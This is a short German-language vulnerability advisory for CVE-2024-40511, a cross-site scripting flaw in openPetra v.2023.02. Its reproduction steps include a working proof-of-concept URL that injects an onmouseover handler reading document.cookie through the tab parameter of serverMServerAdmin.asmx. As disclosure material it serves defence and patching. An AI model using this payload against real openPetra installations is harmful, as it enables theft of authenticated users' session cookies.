CVE-2024-40511

Cross-Site-Scripting-Sicherheitslücke in openPetra v.2023.02 über die Funktion serverMServerAdmin.asmx

Beschreibung: Ein nicht authentifizierter Benutzer kann durch Ausnutzung einer XSS in openPetra v.2023.02 über die Funktion serverMServerAdmin.asmx Cookies von authentifizierten Benutzern stehlen.

Verwundbare Produktversion: openPetra v.2023.02
CVE-Autor: Jansen Moreira Datum: 13/07/2024
CVE: CVE-2024-40511
CVE-Link: https://www.cve.org/CVERecord?id=CVE-2024-40511
NVD-Link: https://nvd.nist.gov/vuln/detail/CVE-2024-40511
Tenable-Link: https://www.tenable.com/cve/CVE-2024-40511
Bestätigt am: 13/07/2024
Getestet auf: Linux

Schritte zur Reproduktion:

1- Rufen Sie die Startseite auf
2- Verwenden Sie den folgenden Pfad und fügen Sie das XSS-Payload im Tab-Parameter hinzu. Z.B.: http://target.com/api/serverMServerAdmin.asmx?bnd=TMServerAdminWebServiceSoap&op=TServerAdminWebConnector_LoginServerAdmin&page=op&tab=x" onmouseover=alert(document.cookie) x=" 3- Bewegen Sie die Maus über das linke Index-Element, um das XSS auszulösen